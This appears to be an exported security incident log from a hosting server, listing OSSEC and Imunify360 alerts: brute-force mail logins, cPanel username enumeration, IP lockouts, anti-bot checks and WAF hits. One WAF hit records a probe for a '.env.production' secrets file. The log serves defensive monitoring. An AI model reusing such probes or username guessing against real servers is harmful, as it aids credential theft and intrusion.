# incident

plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:16:37 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:16:39 dovecot_login authenticator failed for H=(g8lMAY9un) [141.98.10.175]:49260: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.106.190
country_id: 3175395
description:
Jun 15 19:16:54 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.106.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:17:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.64.220.79
country_id: 2363686
description:
[2026-06-15 19:17:35 +0000] info [cpaneld] 102.64.220.79 - vuvwskxh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.220.79
country_id: 2363686
description:
[2026-06-15 19:17:41 +0000] info [cpaneld] 102.64.220.79 NEW cipvzfnv:jfJxKZbfwUqjS0_1 address=102.64.220.79,app=cpaneld,creator=cipvzfnv,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.165.35.16
country_id: 3175395
description:
[2026-06-15 19:17:53 +0000] info [cpaneld] 94.165.35.16 - lv "GET /login/?login_only=1&user=lv&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lv (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:17:33 dovecot_login authenticator failed for H=(liaRktF20J) [141.98.10.175]:57960: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.70.38.90
country_id: 285570
description:
[2026-06-15 19:17:43 +0000] info [cpaneld] 188.70.38.90 - lvdt "GET /login/?login_only=1&user=lvdt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lvdt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.42.183.20
country_id: 3895114
description:
[2026-06-15 19:17:51 +0000] info [cpaneld] 181.42.183.20 - lvd "GET /login/?login_only=1&user=lvd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user lvd (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.64.220.79
country_id: 2363686
description:
[2026-06-15 19:18:04 +0000] info [cpaneld] 102.64.220.79 - cipvzfnv "GET / HTTP/1.1" DEFERRED LOGIN cpaneld: security token missing


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:18:20 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:18:22 dovecot_login authenticator failed for H=(yKNM6r) [141.98.10.175]:50098: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 117.5.146.72
country_id: 1562822
description:
[2026-06-15 19:18:23 +0000] info [cpaneld] 117.5.146.72 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77093094
abuser: 100.52.195.126
country_id: 6252001
domain: www.f.pnls.tg
description:


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.208.87.63
country_id: 3469034
description:
[2026-06-15 19:18:47 +0000] info [cpaneld] 186.208.87.63 - uco "GET /login/?login_only=1&user=uco&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user uco (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.28.15.224
country_id: 3686110
description:
[2026-06-15 19:18:37 +0000] info [cpaneld] 190.28.15.224 - ucoang "GET /login/?login_only=1&user=ucoang&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucoang (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.243.26.189
country_id: 6290252
description:
[2026-06-15 19:18:43 +0000] info [cpaneld] 77.243.26.189 - ucoa "GET /login/?login_only=1&user=ucoa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucoa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 5.34.33.231
country_id: 1522867
description:
[2026-06-15 19:18:41 +0000] info [cpaneld] 5.34.33.231 - ucoan "GET /login/?login_only=1&user=ucoan&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ucoan (has_cpuser_file failed)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 34.182.143.25
country_id: 6252001
domain: autodiscover.sotranetogo.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/sendgrid/.env.production||RSV:8.17||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:19:42 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77350541
name: IM360 WAF: Possible SQL injection attack
abuser: 45.41.173.222
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Possible SQL injection attack||MVN:ARGS_NAMES:gt;If you cherished this post and you would like to obtain extra info concerning ||MV:gt;If you cherished this post and you would like to obtain extra info concerning ||RSV:8.17||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:19:44 dovecot_login authenticator failed for H=(UC23y5w) [141.98.10.175]:52939: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:20:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:20:36 dovecot_login authenticator failed for H=(Eu8Lwtkb) [141.98.10.175]:55002: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:21:36 dovecot_login authenticator failed for H=(trcYG2r) [141.98.10.175]:49640: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 72.255.23.101
country_id: 1168579
description:
72.255.23.101 - - [15/Jun/2026:19:22:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10448234&pdata=https%253A%252F%252Fcpanel.ccit.tg%252F%253Flocale%253Dvi&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781551332 HTTP/2.0" 302 0 cpanel.ccit.tg "https://cpanel.ccit.tg/?locale=vi" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:72.255.23.101


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:21:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.241
country_id: 3469034
description:
Jun 15 19:21:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:22:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:22:33 dovecot_login authenticator failed for H=(gyb0hpe4i) [141.98.10.175]:50922: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 79.116.226.204
country_id: 2510769
description:
79.116.226.204 - - [15/Jun/2026:19:22:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10317168&pdata=https%253A%252F%252Ftogodailynews.tg%252Felectricite-la-ceet-annonce-des-perturbations-dans-le-yoto-et-le-bas-mono-le-16-avril%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781551356 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/electricite-la-ceet-annonce-des-perturbations-dans-le-yoto-et-le-bas-mono-le-16-avril/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2390.1951 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:79.116.226.204


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.159
country_id: 3017382
description:
[2026-06-15 19:22:46 +0000] info [cpaneld] 5.231.64.159 NEW wcnyaruu:E0sM3ZC5m_k4FRzF address=5.231.64.159,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.213.155.86
country_id: 3573591
description:
190.213.155.86 - - [15/Jun/2026:19:24:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13134229&pdata=https%253A%252F%252Fmacite.tg%252Fcategory%252Ftourisme%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781551447 HTTP/2.0" 302 0 macite.tg "https://macite.tg/category/tourisme/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2320.1079 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.213.155.86


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:23:36 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:23:38 dovecot_login authenticator failed for H=(dhJvtV4ob) [141.98.10.175]:55054: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:19:23:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:19:23:43 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:24:32 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:24:34 dovecot_login authenticator failed for H=(fbzKu8A) [141.98.10.175]:49180: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:25:31 dovecot_login authenticator failed for H=(iqTPtXgW) [141.98.10.175]:53981: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:25:29 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.214.124.244
country_id: 3469034
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/events/8 HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.170.29.120
country_id: 2363686
description:
[2026-06-15 19:26:16 +0000] info [webmaild] 196.170.29.120 - emt@emt.tg "GET /cpsess6657688824/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:26:23 dovecot_login authenticator failed for H=(e8gZ3xN7iT) [141.98.10.175]:53822: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:26:21 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:19:27:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9859442&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781551639 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:27:45 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:27:47 dovecot_login authenticator failed for H=(PMVIwoh7k4) [141.98.10.175]:49195: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 74.215.136.134
country_id: 6252001
description:
Jun 15 19:28:42 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 74.215.136.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.215.136.134
country_id: 6252001
description:
2026-06-15 19:28:44 dovecot_plain authenticator failed for H=ip-74-215-136-134.dynamic.fuse.net (cdryfr253o9gtnzeccxwe7j) [74.215.136.134]:40421: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:28:38 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:28:40 dovecot_login authenticator failed for H=(EmAT7ceh) [141.98.10.175]:56982: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:29:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:29:33 dovecot_login authenticator failed for H=(SZvezfJYC) [141.98.10.175]:54571: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:30:31 dovecot_login authenticator failed for H=(JfrR5Ye) [141.98.10.175]:55371: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:30:29 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:31:34 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:31:36 dovecot_login authenticator failed for H=(y6ispWR) [141.98.10.175]:58760: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:32:28 dovecot_login authenticator failed for H=(JRJgB4d9d) [141.98.10.175]:55717: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.137.95.118
country_id: 6252001
description:
[2026-06-15 19:32:44 +0000] info [cpaneld] 73.137.95.118 - iyfttuec "GET / HTTP/1.1" FAILED LOGIN cpaneld: user name not provided or invalid user


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:32:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:33:28 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:33:30 dovecot_login authenticator failed for H=(geD5IBD) [141.98.10.175]:49913: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.225.195.34
country_id: 3865483
description:
Jun 15 19:34:23 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.225.195.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:34:29 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:34:31 dovecot_login authenticator failed for H=(tTtBRDzF0) [141.98.10.175]:60046: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:35:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:35:24 dovecot_login authenticator failed for H=(Hm7YR3kuR) [141.98.10.175]:53639: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:36:26 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [15/Jun/2026:19:36:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988970&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcafe-yoka-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552216 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cafe-yoka-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:36:28 dovecot_login authenticator failed for H=(wFMzrQjCn) [141.98.10.175]:61933: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:19:37:23 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:37:32 dovecot_login authenticator failed for H=(6Zxgwc) [141.98.10.175]:65442: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:37:30 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 206.232.103.133
country_id: 6252001
domain: crepsad.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:206.232.103.133||TA:206.232.103.133||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:19:37:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.210.132.62
country_id: 6252001
domain: crepsad.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.17||T:APACHE||RA:192.210.132.62||TA:192.210.132.62||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:38:33 dovecot_login authenticator failed for H=(rxKQbdLLb) [141.98.10.175]:51387: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:38:31 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.142
country_id: 1880251
description:
47.128.96.142 - - [15/Jun/2026:19:39:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856621&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdemande-de-duplication-des-certificats-de-nationalite-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552379 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/demande-de-duplication-des-certificats-de-nationalite-au-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.142


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:39:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:39:24 dovecot_login authenticator failed for H=(8KEqWMnQe5) [141.98.10.175]:54482: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 141.98.10.175
country_id: 597427
description:
2026-06-15 19:40:43 dovecot_login authenticator failed for H=(qGHvMA) [141.98.10.175]:51033: 535 Incorrect authentication data (set_id=adiel)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 141.98.10.175
country_id: 597427
description:
Jun 15 19:40:41 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 141.98.10.175 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.169
country_id: 1880251
description:
47.128.96.169 - - [15/Jun/2026:19:41:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935210&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fjeune-assassine-a-adakpame%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781552462 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/jeune-assassine-a-adakpame/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.169


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.151
country_id: 1880251
description:
